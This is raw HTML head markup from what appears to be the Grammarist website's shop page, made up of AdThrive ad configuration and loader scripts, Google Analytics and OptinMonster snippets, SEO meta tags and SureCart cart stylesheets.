Playlist","elementSelector":".entry-content > p","id":4080213,"position":"afterend","saveVideoCloseState":false,"shuffle":false,"mobileHeaderSelector":null,"playerId":"wdhUjsC8"}],"partners":{"theTradeDesk":true,"unruly":true,"undertone":true,"gumgum":true,"seedtag":true,"amx":true,"ozone":true,"trustx":true,"pmp":true,"kargo":true,"stickyOutstream":{"desktop":{"enabled":false},"blockedPageSelectors":"body.woocommerce-page, body.logged-in","mobileLocation":null,"thirdPartyGamAdUnitName":null,"allowOnHomepage":false,"mobile":{"enabled":false},"saveVideoCloseState":false,"mobileHeaderSelector":"","allowForPageWithStickyPlayer":{"enabled":false}},"sharethrough":true,"blis":true,"tripleLift":true,"pubMatic":true,"criteo":true,"yahoossp":true,"nativo":true,"stackadapt":true,"equativ":true,"yieldmo":true,"amazonUAM":true,"medianet":true,"rubicon":true,"appNexus":true,"conversant":true,"rise":true,"openx":true,"indexExchange":true}}};</script>
48 49
50<script data-no-optimize="1" data-cfasync="false"> 51(function(w, d) { 52 w.adthrive = w.adthrive || {}; 53 w.adthrive.cmd = w.adthrive.cmd || []; 54 w.adthrive.plugin = 'adthrive-ads-3.13.0'; 55 w.adthrive.host = 'ads.adthrive.com'; 56 w.adthrive.integration = 'plugin'; 57 58 var commitParam = (w.adthriveCLS && w.adthriveCLS.bucket !== 'prod' && w.adthriveCLS.branch) ? '&commit=' + w.adthriveCLS.branch : ''; 59 60 var s = d.createElement('script'); 61 s.async = true; 62 s.referrerpolicy='no-referrer-when-downgrade'; 63 s.src = 'https://' + w.adthrive.host + '/sites/61d8738a78c5b3001b138d66/ads.min.js?referrer=' + w.encodeURIComponent(w.location.href) + commitParam + '&cb=' + (Math.floor(Math.random() * 100) + 1) + ''; 64 var n = d.getElementsByTagName('script')[0]; 65 n.parentNode.insertBefore(s, n); 66})(window, document); 67</script>
67 68<link rel="dns-prefetch" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/"><link rel="preconnect" href="https://ads.adthrive.com/" crossorigin><meta name="viewport" content="width=device-width, initial-scale=1"><!-- Google tag (gtag.js) -->
vendor: 110 bytes, lines 68-69
68 69<script type="text/rocketlazyloadscript" async data-rocket-src="https://www.googletagmanager.com/gtag/js?id=
69G-W5SSB1YVSS
vendor: 13 bytes, line 69
69"></script>
70<script type="text/rocketlazyloadscript"> 71
vendor: 138 bytes, lines 71-75
71window.dataLayer = window.dataLayer || []; 72 function gtag(){dataLayer.push(arguments);} 73 gtag('js', new Date()); 74 75 gtag('config', '
75G-W5SSB1YVSS
vendor: 5 bytes, line 75
75');
76</script>
76 77<!-- Search Engine Optimization by Rank Math PRO - https://rankmath.com/ --> 78<title>Shop</title> 79<link data-rocket-prefetch href="https://ads.adthrive.com" rel="dns-prefetch"> 80<link data-rocket-prefetch href="https://securepubads.g.doubleclick.net" rel="dns-prefetch"> 81<link data-rocket-prefetch href="https://c.aps.amazon-adsystem.com" rel="dns-prefetch"> 82<link data-rocket-prefetch href="https://fonts.googleapis.com" rel="dns-prefetch"> 83<link data-rocket-preload as="style" href="https://fonts.googleapis.com/css?family=Source%20Sans%20Pro%3Aregular%2C600%2C700%7CBebas%20Neue%3Aregular&display=swap" rel="preload"> 84<link href="https://fonts.googleapis.com/css?family=Source%20Sans%20Pro%3Aregular%2C600%2C700%7CBebas%20Neue%3Aregular&display=swap" media="print" onload="this.media='all'" rel="stylesheet"> 85<noscript data-wpr-hosted-gf-parameters=""><link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source%20Sans%20Pro%3Aregular%2C600%2C700%7CBebas%20Neue%3Aregular&display=swap"></noscript><link rel="preload" data-rocket-preload as="image" href="https://grammarist.com/wp-content/uploads/image-19.png" imagesrcset="https://grammarist.com/wp-content/uploads/image-19.png 1820w, https://grammarist.com/wp-content/uploads/image-19-300x169.png 300w, https://grammarist.com/wp-content/uploads/image-19-1024x576.png 1024w, https://grammarist.com/wp-content/uploads/image-19-768x432.png 768w, https://grammarist.com/wp-content/uploads/image-19-1536x864.png 1536w, https://grammarist.com/wp-content/uploads/image-19-600x338.png 600w" imagesizes="(max-width: 1820px) 100vw, 1820px" fetchpriority="high"> 86<meta name="description" content="Best Selling Course:"/> 87<meta name="robots" content="follow, index, max-snippet:-1, max-video-preview:-1, max-image-preview:large"/> 88<link rel="canonical" href="https://grammarist.com/store/" /> 89<meta property="og:locale" content="en_US" /> 90<meta property="og:type" content="article" /> 91<meta property="og:title" content="Shop" /> 92<meta property="og:description" content="Best Selling Course:" /> 93<meta property="og:url" content="https://grammarist.com/store/" /> 94<meta property="og:site_name" content="GRAMMARIST" /> 95<meta property="article:publisher" content="https://www.facebook.com/grammaristweb/" /> 96<meta property="og:updated_time" content="2025-02-11T07:27:11-06:00" /> 97<meta property="og:image" content="https://grammarist.com/wp-content/uploads/image-19.png" /> 98<meta property="og:image:secure_url" content="https://grammarist.com/wp-content/uploads/image-19.png" /> 99<meta property="og:image:width" content="1820" /> 100<meta property="og:image:height" content="1024" /> 101<meta property="og:image:alt" content="Shop" /> 102<meta property="og:image:type" content="image/png" /> 103<meta property="article:published_time" content="2024-12-13T15:36:54-06:00" /> 104<meta property="article:modified_time" content="2025-02-11T07:27:11-06:00" /> 105<meta name="twitter:card" content="summary_large_image" /> 106<meta name="twitter:title" content="Shop" /> 107<meta name="twitter:description" content="Best Selling Course:" /> 108<meta name="twitter:site" content="@_grammarist" /> 109<meta name="twitter:creator" content="@_grammarist" /> 110<meta name="twitter:image" content="https://grammarist.com/wp-content/uploads/image-19.png" />
111<script type="application/ld+json" class="rank-math-schema-pro">{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://grammarist.com/#organization","name":"Grammarist","url":"https://grammarist.com","sameAs":["https://www.facebook.com/grammaristweb/","https://twitter.com/_grammarist"],"logo":{"@type":"ImageObject","@id":"https://grammarist.com/#logo","url":"http://grammarist.com/wp-content/uploads/2016/08/GR-Logo.png","contentUrl":"http://grammarist.com/wp-content/uploads/2016/08/GR-Logo.png","caption":"GRAMMARIST","inLanguage":"en-US","width":"312","height":"89"}},{"@type":"WebSite","@id":"https://grammarist.com/#website","url":"https://grammarist.com","name":"GRAMMARIST","publisher":{"@id":"https://grammarist.com/#organization"},"inLanguage":"en-US"},{"@type":"ImageObject","@id":"https://grammarist.com/wp-content/uploads/image-19.png","url":"https://grammarist.com/wp-content/uploads/image-19.png","width":"200","height":"200","inLanguage":"en-US"},{"@type":"BreadcrumbList","@id":"https://grammarist.com/store/#breadcrumb","itemListElement":[{"@type":"ListItem","position":"1","item":{"@id":"https://grammarist.com","name":"Home"}},{"@type":"ListItem","position":"2","item":{"@id":"https://grammarist.com/store/","name":"Shop"}}]},{"@type":"WebPage","@id":"https://grammarist.com/store/#webpage","url":"https://grammarist.com/store/","name":"Shop","datePublished":"2024-12-13T15:36:54-06:00","dateModified":"2025-02-11T07:27:11-06:00","isPartOf":{"@id":"https://grammarist.com/#website"},"primaryImageOfPage":{"@id":"https://grammarist.com/wp-content/uploads/image-19.png"},"inLanguage":"en-US","breadcrumb":{"@id":"https://grammarist.com/store/#breadcrumb"}},{"@type":"Person","@id":"https://grammarist.com/contributor/","url":"https://grammarist.com/contributor/","image":{"@type":"ImageObject","@id":"https://secure.gravatar.com/avatar/?s=96&d=mm&r=g","url":"https://secure.gravatar.com/avatar/?s=96&d=mm&r=g","inLanguage":"en-US"},"worksFor":{"@id":"https://grammarist.com/#organization"}},{"@type":"Article","headline":"Shop","datePublished":"2024-12-13T15:36:54-06:00","dateModified":"2025-02-11T07:27:11-06:00","author":{"@id":"https://grammarist.com/contributor/"},"publisher":{"@id":"https://grammarist.com/#organization"},"description":"Best Selling Course:","name":"Shop","@id":"https://grammarist.com/store/#richSnippet","isPartOf":{"@id":"https://grammarist.com/store/#webpage"},"image":{"@id":"https://grammarist.com/wp-content/uploads/image-19.png"},"inLanguage":"en-US","mainEntityOfPage":{"@id":"https://grammarist.com/store/#webpage"}}]}</script>
111 112<!-- /Rank Math WordPress SEO plugin --> 113
114<script type="text/rocketlazyloadscript" data-rocket-type='application/javascript' id='pys-version-script'>console.log('PixelYourSite Free version 11.4.1');</script>
114 115<link rel='dns-prefetch' href='//js.surecart.com' /> 116<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' /> 117<link href='https://fonts.googleapis.com' crossorigin rel='preconnect' /> 118<link rel="alternate" type="application/rss+xml" title="GRAMMARIST » Feed" href="https://grammarist.com/feed/" /> 119<link rel="alternate" type="application/rss+xml" title="GRAMMARIST » Comments Feed" href="https://grammarist.com/comments/feed/" /> 120<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://grammarist.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fgrammarist.com%2Fstore%2F" /> 121<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://grammarist.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fgrammarist.com%2Fstore%2F&format=xml" /> 122<!-- This site is converting visitors into subscribers and customers with OptinMonster - https://optinmonster.com -->
123<script type="text/rocketlazyloadscript">(function(d,u,ac,a){var s=d.createElement('script');s.type='text/javascript';s.src='https://ced531.grammarist.com/app/js/api.min.js';s.async=true;s.dataset.user=u;s.dataset.account=ac;s.dataset.api=a;d.getElementsByTagName('head')[0].appendChild(s);})(document,79454,89360,'campaigns');</script>
123 124<!-- / https://optinmonster.com --><style id="wp-img-auto-sizes-contain-inline-css"> 125img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px} 126/*# sourceURL=wp-img-auto-sizes-contain-inline-css */ 127</style> 128<link data-minify="1" rel='stylesheet' id='surecart-tag-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/tag.css?ver=1789058374' media='all' /> 129<style id="surecart-slide-out-cart-header-style-2-inline-css"> 130.wp-block-surecart-slide-out-cart-header{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between}.wp-block-surecart-slide-out-cart-header button{background:none;border:none;-webkit-box-shadow:none;box-shadow:none;color:var(--sc-primary-color);cursor:pointer;margin:0;padding:0}.wp-block-surecart-slide-out-cart-header button:focus{-webkit-box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);outline:none}.wp-block-surecart-slide-out-cart-header__title{overflow:hidden;padding:0 var(--sc-spacing-small);text-align:center;text-overflow:ellipsis;white-space:nowrap}.wp-block-surecart-slide-out-cart-header__close,.wp-block-surecart-slide-out-cart-header__close svg{cursor:pointer;height:20px;width:20px} 131 132/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-header/style-index.css */ 133</style> 134<link rel='stylesheet' id='sureforms-pro-custom-styles-css' href='https://grammarist.com/wp-content/plugins/sureforms-pro/assets/css/minified/custom-styles.min.css?ver=2.12.7' media='all' /> 135<link data-minify="1" rel='stylesheet' id='surecart-line-item-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/line-item.css?ver=1789058374' media='all' /> 136<link data-minify="1" rel='stylesheet' id='surecart-product-line-item-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/product-line-item.css?ver=1789058374' media='all' /> 137<link data-minify="1" rel='stylesheet' id='surecart-input-group-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/input-group.css?ver=1789058374' media='all' /> 138<link data-minify="1" rel='stylesheet' id='surecart-quantity-selector-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/quantity-selector.css?ver=1789058374' media='all' /> 139<style id="surecart-slide-out-cart-items-style-5-inline-css"> 140.wp-block-surecart-cart-items__wrapper{-webkit-box-flex:1;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex:1 1 200px;flex:1 1 200px;gap:1.25em;overflow:auto;-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.wp-block-surecart-cart-items__wrapper .sc-quantity-selector{margin-top:var(--sc-spacing-small)}.wp-block-surecart-cart-items__wrapper .sc-quantity-selector[hidden]{display:none}.wp-block-surecart-cart-items__wrapper .sc-product-line-item__remove-button{background:none;border:none;-webkit-box-shadow:none;box-shadow:none;padding:0}.wp-block-surecart-cart-items__wrapper .sc-product-line-item__remove-button:focus{-webkit-box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);outline:none}.wp-block-surecart-cart-items__wrapper .sc-product-line-item__purchasable-status{color:var(--sc-input-error-text-color);font-size:var(--sc-font-size-x-small)}.wp-block-surecart-cart-items__wrapper .sc-bundle-components{margin-top:var(--sc-spacing-small)}.wp-block-surecart-cart-items__wrapper .sc-bundle-components[hidden]{display:none}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__label{color:var(--sc-color-gray-600);font-size:var(--sc-font-size-x-small);font-weight:var(--sc-font-weight-semibold);margin-bottom:var(--sc-spacing-xx-small)}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__item{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;gap:var(--sc-spacing-x-small);padding:var(--sc-spacing-xx-small) 0}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__item-image{border:1px solid var(--sc-color-gray-200);border-radius:var(--sc-border-radius-small,4px);height:24px;-o-object-fit:cover;object-fit:cover;width:24px;-ms-flex-negative:0;flex-shrink:0}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__item-image[hidden]{display:none}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__item-name{color:var(--sc-color-gray-600);font-size:var(--sc-font-size-x-small);overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__savings{color:var(--sc-color-success-700,#15803d);font-size:var(--sc-font-size-x-small);font-weight:var(--sc-font-weight-semibold);margin-top:var(--sc-spacing-xx-small)}.wp-block-surecart-cart-items__wrapper .sc-bundle-components__savings[hidden]{display:none} 141 142/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-items/style-index.css */ 143</style> 144<link data-minify="1" rel='stylesheet' id='surecart-coupon-form-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/coupon-form.css?ver=1789058374' media='all' /> 145<link data-minify="1" rel='stylesheet' id='surecart-form-control-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/form-control.css?ver=1789058374' media='all' /> 146<style id="surecart-slide-out-cart-coupon-style-4-inline-css"> 147.wp-block-surecart-slide-out-cart-coupon .trigger{cursor:pointer}.wp-block-surecart-slide-out-cart-coupon .trigger:hover{text-decoration:underline}.wp-block-surecart-slide-out-cart-coupon .sc-tag button{background:rgba(0,0,0,0);border:none;-webkit-box-shadow:none;box-shadow:none;color:var(--sc-color-gray-700);cursor:pointer;margin-left:.5em;padding:0}.wp-block-surecart-slide-out-cart-coupon .sc-tag button:focus{-webkit-box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);outline:none}.wp-block-surecart-slide-out-cart-coupon .sc-tag button svg{height:16px;width:16px}.wp-block-surecart-slide-out-cart-coupon .sc-line-item__price-description[hidden]{display:none}.wp-block-surecart-slide-out-cart-coupon .sc-coupon-input-label{font-size:var(--sc-input-label-font-size-medium);font-style:normal;font-weight:var(--sc-font-weight-normal);margin-bottom:var(--sc-input-label-margin)} 148 149/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-coupon/style-index.css */ 150</style> 151<style id="surecart-slide-out-cart-bump-line-item-style-2-inline-css"> 152.wp-block-surecart-slide-out-cart-bump-line-item .sc-bump-line-item__description{font-size:var(--sc-price-label-font-size,var(--sc-input-help-text-font-size-medium));line-height:var(--sc-line-height-dense)}.wp-block-surecart-slide-out-cart-bump-line-item .sc-bump-line-item__price{font-size:var(--sc-font-size-medium);font-weight:var(--sc-font-weight-semibold);line-height:var(--sc-line-height-dense)} 153 154/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-bump-line-item/style-index.css */ 155</style> 156<link data-minify="1" rel='stylesheet' id='surecart-wp-buttons-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/wp-buttons.css?ver=1789058374' media='all' /> 157<link data-minify="1" rel='stylesheet' id='surecart-wp-button-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/wp-button.css?ver=1789058374' media='all' /> 158<style id="surecart-slide-out-cart-submit-style-3-inline-css">
159.sc-cart-submit__wrapper a.wp-block-button__link{-webkit-box-sizing:border-box;box-sizing:border-box;display:block;position:relative;text-align:center;text-decoration:none;width:100%}.sc-cart-submit__wrapper a.wp-block-button__link:focus{-webkit-box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);box-shadow:0 0 0 var(--sc-focus-ring-width) var(--sc-focus-ring-color-primary);outline:none}.sc-cart-submit__wrapper.wp-block-buttons>.wp-block-button{display:block;text-decoration:none!important;width:100%} 160 161/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart-submit/style-index.css */ 162</style> 163<style id="wp-block-button-inline-css"> 164.wp-block-button__link{align-content:center;box-sizing:border-box;cursor:pointer;display:inline-block;height:100%;text-align:center;word-break:break-word}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}:where(.wp-block-button__link){border-radius:9999px;box-shadow:none;padding:calc(.667em + 2px) calc(1.333em + 2px);text-decoration:none}.wp-block-button[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons>.wp-block-button[class*=wp-block-button__width]{width:calc(var(--wp--block-button--width)*1% - var(--wp--style--block-gap, .5em)*(1 - var(--wp--block-button--width)/100))}.wp-block-buttons>.wp-block-button.wp-block-button__width-25{width:calc(25% - var(--wp--style--block-gap, .5em)*.75)}.wp-block-buttons>.wp-block-button.wp-block-button__width-50{width:calc(50% - var(--wp--style--block-gap, .5em)*.5)}.wp-block-buttons>.wp-block-button.wp-block-button__width-75{width:calc(75% - var(--wp--style--block-gap, .5em)*.25)}.wp-block-buttons>.wp-block-button.wp-block-button__width-100{flex-basis:100%;width:100%}.wp-block-buttons.is-vertical>.wp-block-button[class*=wp-block-button__width]{width:calc(var(--wp--block-button--width)*1%)}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-25{width:25%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-50{width:50%}.wp-block-buttons.is-vertical>.wp-block-button.wp-block-button__width-75{width:75%}.wp-block-button.is-style-squared,.wp-block-button__link.wp-block-button.is-style-squared{border-radius:0}.wp-block-button.no-border-radius,.wp-block-button__link.no-border-radius{border-radius:0!important}:root :where(.wp-block-button .wp-block-button__link.is-style-outline),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link){border:2px solid;padding:.667em 1.333em}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color)){color:currentColor}:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background)){background-color:transparent;background-image:none} 165/*# sourceURL=https://grammarist.com/wp-includes/blocks/button/style.min.css */ 166</style> 167<link data-minify="1" rel='stylesheet' id='surecart-drawer-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/drawer.css?ver=1789058374' media='all' /> 168<link data-minify="1" rel='stylesheet' id='surecart-block-ui-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/block-ui.css?ver=1789058374' media='all' /> 169<link data-minify="1" rel='stylesheet' id='surecart-alert-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/alert.css?ver=1789058374' media='all' /> 170<style id="surecart-slide-out-cart-style-4-inline-css"> 171.wp-block-surecart-slide-out-cart{-webkit-box-flex:1;border:var(--sc-drawer-border);-webkit-box-shadow:0 1px 2px rgba(13,19,30,.102);box-shadow:0 1px 2px rgba(13,19,30,.102);color:var(--sc-cart-main-label-text-color);-ms-flex:1 1 auto;flex:1 1 auto;font-size:16px;margin:auto;overflow:auto;width:100%}.wp-block-surecart-slide-out-cart .sc-alert{border-radius:0}.wp-block-surecart-slide-out-cart .sc-alert__icon svg{height:24px;width:24px}.wp-block-surecart-slide-out-cart .sc-alert :not(:first-child){margin-bottom:0}html:has(.sc-drawer.open){overflow:hidden;scrollbar-gutter:stable}:where(.sc-cart-drawer) :where(.is-layout-flex){display:-webkit-box;display:-ms-flexbox;display:flex;gap:var(--wp--style--block-gap,.5em)}
171:where(.sc-cart-drawer) :where(.is-layout-grid){display:-ms-grid;display:grid}:where(.sc-cart-drawer) :where(.is-layout-flow)>:first-child{-webkit-margin-before:0;margin-block-start:0}:where(.sc-cart-drawer) :where(.is-layout-flow)>*+*{-webkit-margin-before:var(--wp--style--block-gap,.5em);margin-block-start:var(--wp--style--block-gap,.5em)}:where(.sc-cart-drawer) :where(.wp-block-surecart-slide-out-cart-line-items)>*+*{-webkit-margin-before:var(--wp--style--block-gap,2em);margin-block-start:var(--wp--style--block-gap,2em)} 172 173/*# sourceURL=https://grammarist.com/wp-content/plugins/surecart/packages/blocks-next/build/blocks/cart/style-index.css */ 174</style> 175<link data-minify="1" rel='stylesheet' id='surecart-theme-base-css' href='https://grammarist.com/wp-content/cache/min/1/wp-content/plugins/surecart/packages/blocks-next/build/styles/theme-base.css?ver=1789058374' media='all' /> 176<style id="surecart-theme-base-inline-css"> 177@-webkit-keyframes sheen{0%{background-position:200% 0}to{background-position:-200% 0}}@keyframes sheen{0%{background-position:200% 0}to{background-position:-200% 0}}sc-form{display:block}sc-form>:not(:last-child){margin-bottom:var(--sc-form-row-spacing,.75em)}sc-form>:not(:last-child).wp-block-spacer{margin-bottom:0}sc-invoice-details:not(.hydrated),sc-invoice-details:not(:defined){display:none}sc-customer-email:not(.hydrated),sc-customer-email:not(:defined),sc-customer-name:not(.hydrated),sc-customer-name:not(:defined),sc-input:not(.hydrated),sc-input:not(:defined){-webkit-animation:sheen 3s ease-in-out infinite;animation:sheen 3s ease-in-out infinite;background:-webkit-gradient(linear,right top,left top,from(rgba(75,85,99,.2)),color-stop(rgba(75,85,99,.1)),color-stop(rgba(75,85,99,.1)),to(rgba(75,85,99,.2)));background:linear-gradient(270deg,rgba(75,85,99,.2),rgba(75,85,99,.1),rgba(75,85,99,.1),rgba(75,85,99,.2));background-size:400% 100%;border-radius:var(--sc-input-border-radius-medium);display:block;height:var(--sc-input-height-medium)}sc-button:not(.hydrated),sc-button:not(:defined),sc-order-submit:not(.hydrated),sc-order-submit:not(:defined){-webkit-animation:sheen 3s ease-in-out infinite;animation:sheen 3s ease-in-out infinite;background:-webkit-gradient(linear,right top,left top,from(rgba(75,85,99,.2)),color-stop(rgba(75,85,99,.1)),color-stop(rgba(75,85,99,.1)),to(rgba(75,85,99,.2)));background:linear-gradient(270deg,rgba(75,85,99,.2),rgba(75,85,99,.1),rgba(75,85,99,.1),rgba(75,85,99,.2));background-size:400% 100%;border-radius:var(--sc-input-border-radius-medium);color:rgba(0,0,0,0);display:block;height:var(--sc-input-height-large);text-align:center;width:auto}sc-order-summary:not(.hydrated),sc-order-summary:not(:defined){-webkit-animation:sheen 3s ease-in-out infinite;animation:sheen 3s ease-in-out infinite;background:-webkit-gradient(linear,right top,left top,from(rgba(75,85,99,.2)),color-stop(rgba(75,85,99,.1)),color-stop(rgba(75,85,99,.1)),to(rgba(75,85,99,.2)));background:linear-gradient(270deg,rgba(75,85,99,.2),rgba(75,85,99,.1),rgba(75,85,99,.1),rgba(75,85,99,.2));background-size:400% 100%;border-radius:var(--sc-input-border-radius-medium);color:rgba(0,0,0,0);display:block;height:var(--sc-input-height-large);text-align:center;width:auto}sc-tab-group:not(.hydrated),sc-tab-group:not(:defined),sc-tab:not(.hydrated),sc-tab:not(:defined){visibility:hidden}sc-column:not(.hydrated),sc-column:not(:defined){opacity:0;visibility:hidden}sc-columns{-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap!important;flex-wrap:wrap!important;gap:var(--sc-column-spacing,var(--sc-spacing-xxxx-large));margin-left:auto;margin-right:auto;width:100%;-webkit-box-align:initial!important;-ms-flex-align:initial!important;align-items:normal!important}@media(min-width:782px){sc-columns{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}}sc-columns.are-vertically-aligned-top{-webkit-box-align:start;-ms-flex-align:start;align-items:flex-start}sc-columns.are-vertically-aligned-center{-webkit-box-align:center;-ms-flex-align:center;align-items:center}sc-columns.are-vertically-aligned-bottom{-webkit-box-align:end;-ms-flex-align:end;align-items:flex-end}@media(max-width:781px){sc-columns:not(.is-not-stacked-on-mobile).is-full-height>sc-column{padding:30px!important}sc-columns:not(.is-not-stacked-on-mobile)>sc-column{-ms-flex-preferred-size:100%!important;flex-basis:100%!important}}@media(min-width:782px){sc-columns:not(.is-not-stacked-on-mobile)>sc-column{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}sc-columns:not(.is-not-stacked-on-mobile)>sc-column[style*=flex-basis]{-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0}}sc-columns.is-not-stacked-on-mobile{-ms-flex-wrap:nowrap!important;flex-wrap:nowrap!important}sc-columns.is-not-stacked-on-mobile>sc-column{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1}sc-columns.is-not-stacked-on-mobile>sc-column[style*=flex-basis]{-webkit-box-flex:0;-ms-flex-positive:0;flex-grow:0}sc-column{display:block;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;min-width:0;overflow-wrap:break-word;word-break:break-word}sc-column.is-vertically-aligned-top{-ms-flex-item-align:start;align-self:flex-start}sc-column.is-vertically-aligned-center{-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center}sc-column.is-vertically-aligned-bottom{-ms-flex-item-align:end;align-self:flex-end}sc-column.is-vertically-aligned-bottom,sc-column.is-vertically-aligned-center,sc-column.is-vertically-aligned-top{width:100%}@media(min-width:782px){sc-column.is-sticky{position:sticky!important;-ms-flex-item-align:start;align-self:flex-start;top:0}}sc-column>:not(.wp-block-spacer):not(:last-child):not(.is-empty):not(style){margin-bottom:var(--sc-form-row-spacing,.75em)}sc-column>:not(.wp-block-spacer):not(:last-child):not(.is-empty):not(style):not(.is-layout-flex){display:block}.hydrated{visibility:inherit} 178:root {--sc-color-primary-500: #42b99f;--sc-focus-ring-color-primary: #42b99f;--sc-input-border-color-focus: #42b99f;--sc-color-gray-900: #000;--sc-color-primary-text: #ffffff;--wp--preset--color--surecart: #42b99f;} 179/*# sourceURL=surecart-theme-base-inline-css */ 180</style> 181<style id="surecart-cart-icon-style-inline-css"> 182.wp-block-surecart-cart-icon{background:var(--sc-cart-icon-background,var(--sc-color-primary-500));border-radius:var(--sc-cart-icon-border-radius,var(--sc-input-border-radius-medium));bottom:var(--sc-cart-icon-bottom,30px);-webkit-box-shadow:var(--sc-shadow-small);box-shadow:var(--sc-shadow-small);color:var(--sc-cart-icon-color,var(--sc-color-primary-text,var(--sc-color-white)));cursor:pointer;font-family:var(--sc-cart-font-family,var(--sc-input-font-family));font-weight:var(--sc-font-weight-semibold);height:var(--sc-cart-icon-height,60px);left:var(--sc-cart-icon-left,auto);position:fixed;right:var(--sc-cart-icon-right,30px);top:var(--sc-cart-icon-top,auto);-webkit-transition:opacity var(--sc-transition-medium) ease;transition:opacity var(--sc-transition-medium) ease;width:var(--sc-cart-icon-width,60px);z-index:var(--sc-cart-icon-z-index,99)}.wp-block-surecart-cart-icon[hidden]{display:none}.wp-block-surecart-cart-icon:hover{opacity:.8}.wp-block-surecart-cart-icon__container{display:-webkit-box;display:-ms-flexbox;display:flex;font-size:24px;line-height:0;position:relative;-webkit-box-align:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-ms-flex-pack:center;height:100%;justify-content:center;text-align:center}.wp-block-surecart-cart-icon__icon{cursor:pointer;font-size:var(--sc-cart-icon-size,1.1em)}.wp-block-surecart-cart-icon__icon svg{color:var(--sc-color-white)}.wp-block-surecart-cart-icon__count{background:var(--sc-cart-counter-background,var(--sc-color-gray-900));border-radius:var(--sc-cart-counter-border-radius,9999px);bottom:auto;
